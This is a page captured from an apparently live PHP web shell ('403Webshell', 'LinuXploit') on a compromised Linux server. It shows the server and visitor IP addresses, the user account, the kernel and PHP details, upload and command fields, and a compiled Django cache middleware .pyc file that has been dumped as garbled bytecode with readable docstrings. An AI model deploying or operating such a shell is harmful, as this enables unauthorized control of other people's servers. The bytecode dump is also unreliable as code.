403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/middleware/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/middleware/__pycache__/cache.cpython-311.pyc
�

�|�e# ���dZddlmZddlmZmZddlmZmZm	Z	m
Z
mZddlm
Z
Gd�de
��ZGd�d	e
��ZGd
�dee��ZdS)
a�
Cache middleware. If enabled, each Django-powered page will be cached based on
URL. The canonical way to enable cache middleware is to set
``UpdateCacheMiddleware`` as your first piece of middleware, and
``FetchFromCacheMiddleware`` as the last::

    MIDDLEWARE = [
        'django.middleware.cache.UpdateCacheMiddleware',
        ...
        'django.middleware.cache.FetchFromCacheMiddleware'
    ]

This is counter-intuitive, but correct: ``UpdateCacheMiddleware`` needs to run
last during the response phase, which processes middleware bottom-up;
``FetchFromCacheMiddleware`` needs to run last during the request phase, which
processes middleware top-down.

The single-class ``CacheMiddleware`` can be used for some simple sites.
However, if any other piece of middleware needs to affect the cache key, you'll
need to use the two-part ``UpdateCacheMiddleware`` and
``FetchFromCacheMiddleware``. This'll most often happen when you're using
Django's ``LocaleMiddleware``.

More details about how the caching works:

* Only GET or HEAD-requests with status code 200 are cached.

* The number of seconds each page is stored for is set by the "max-age" section
  of the response's "Cache-Control" header, falling back to the
  CACHE_MIDDLEWARE_SECONDS setting if the section was not found.

* This middleware expects that a HEAD request is answered with the same response
  headers exactly like the corresponding GET request.

* When a hit occurs, a shallow copy of the original response object is returned
  from process_request.

* Pages will be cached based on the contents of the request headers listed in
  the response's "Vary" header.

* This middleware also sets ETag, Last-Modified, Expires and Cache-Control
  headers on the response object.

�)�settings)�DEFAULT_CACHE_ALIAS�caches)�
get_cache_key�get_max_age�has_vary_header�learn_cache_key�patch_response_headers)�MiddlewareMixinc�0��eZdZdZd�fd�	Zd�Zd�Z�xZS)�UpdateCacheMiddlewarea6
    Response-phase cache middleware that updates the cache if the response is
    cacheable.

    Must be used as part of the two-part update/fetch cache middleware.
    UpdateCacheMiddleware must be the first piece of middleware in MIDDLEWARE
    so that it'll get called last during the response phase.
    Nc����t���|��tj|_d|_tj|_tj|_	t|j	|_dS�N)�super�__init__r�CACHE_MIDDLEWARE_SECONDS�
cache_timeout�page_timeout�CACHE_MIDDLEWARE_KEY_PREFIX�
key_prefix�CACHE_MIDDLEWARE_ALIAS�cache_aliasr�cache��self�get_response�	__class__s  ��9/usr/lib/python3/dist-packages/django/middleware/cache.pyrzUpdateCacheMiddleware.__init__BsV���
������&�&�&�%�>��� ���"�>���#�:����D�,�-��
�
�
�c�0�t|d��o|jS)N�_cache_update_cache)�hasattrr!)r�request�responses   r�_should_update_cachez*UpdateCacheMiddleware._should_update_cacheJs���w� 5�6�6�V�7�;V�Vrc�T������||��s|S|js	|jdvr|S|js|jrt|d��r|Sd|�dd��vr|S�j���!t|������j	�n�dkr|St|����r�|jdkryt||��j�j
�	���t|d
��r/t|j��r|����fd���n�j
��|���|S)zSet the cache, if needed.)��i0�Cookie�privatez
Cache-Control�Nrr'�r�renderc�<���j��|���Sr)r�set)�r�	cache_keyr�timeouts ���r�<lambda>z8UpdateCacheMiddleware.process_response.<locals>.<lambda>ps���d�j�n�n�Y��7�C�C�r)r%�	streaming�status_code�COOKIES�cookiesr�getrrrr
r	rrr"�callabler,�add_post_render_callbackr.)rr#r$r0r1s`  @@r�process_responsez&UpdateCacheMiddleware.process_responseMs{������(�(��(�;�;�	��O���	��!5�Z�!G�!G��O���	�8�#3�	���RZ�8[�8[�	��O�����_�b�9�9�9�9��O��#���?�"�(�+�+�G����,����A������x��1�1�1��	=�x�+�s�2�2�'���7�D�O�[_�[e�f�f�f�I��x��*�*�
=�x���/H�/H�
=��1�1�C�C�C�C�C�C������
���y�(�G�<�<�<��rr)�__name__�
__module__�__qualname__�__doc__rr%r:�
__classcell__�rs@rr
r
7sh���������.�.�.�.�.�.�W�W�W�'�'�'�'�'�'�'rr
c�*��eZdZdZd�fd�	Zd�Z�xZS)�FetchFromCacheMiddlewarea!
    Request-phase cache middleware that fetches a page from the cache.

    Must be used as part of the two-part update/fetch cache middleware.
    FetchFromCacheMiddleware must be the last piece of middleware in MIDDLEWARE
    so that it'll get called last during the request phase.
    Nc���t���|��tj|_tj|_t|j|_dSr)	rrrrrrrrrrs  �rrz!FetchFromCacheMiddleware.__init__�sC���
������&�&�&�"�>���#�:����D�,�-��
�
�
rc�Z�|jdvr	d|_dSt||jd|j���}|�	d|_dS|j�|��}|�B|jdkr7t||jd|j���}|j�|��}|�	d|_dSd|_|S)zn
        Check whether the page is already cached and return the cached
        version if available.
        )�GET�HEADFNrEr+TrF)�methodr!rrrr7)rr#r0r$s    r�process_requestz(FetchFromCacheMiddleware.process_request�s���
�>��0�0�*/�G�'��4�"�'�4�?�E���T�T�T�	���*.�G�'��4��:�>�>�)�,�,������&� 8� 8�%�g�t���d�j�Y�Y�Y�I��z�~�~�i�0�0�H���*.�G�'��4�',��#��rr)r;r<r=r>rrHr?r@s@rrBrBwsV���������.�.�.�.�.�.�������rrBc�$��eZdZdZd�fd�	Z�xZS)�CacheMiddlewarez�
    Cache middleware that provides basic behavior for many simple sites.

    Also used as the hook point for the cache decorator, which is generated
    using the decorator-from-middleware utility.
    Nc�6��t���|��	|d}|�d}||_n#t$rYnwxYw	|d}|�t}||_t|j|_n#t$rYnwxYw|�||_||_	dS)Nr�r)
rrr�KeyErrorrrrrrr)rrrr�kwargsrrrs       �rrzCacheMiddleware.__init__�s����
������&�&�&�	���-�J��!��
�(�D�O�O���	�	�	��D�	����	� ��/�K��"�1��*�D���� 0�1�D�J�J���	�	�	��D�	�����$�!.�D��(����s!�8�
A�A�	/A9�9
B�B)NNN)r;r<r=r>rr?r@s@rrJrJ�sG���������)�)�)�)�)�)�)�)�)�)rrJN)r>�django.confr�django.core.cacherr�django.utils.cacherrrr	r
�django.utils.deprecationrr
rBrJr*rr�<module>rSs$��+�+�Z!� � � � � �9�9�9�9�9�9�9�9���������������5�4�4�4�4�4�=�=�=�=�=�O�=�=�=�@*�*�*�*�*��*�*�*�Z")�")�")�")�")�+�-E�")�")�")�")�")r

Youez - 2016 - github.com/yon3zu
LinuXploit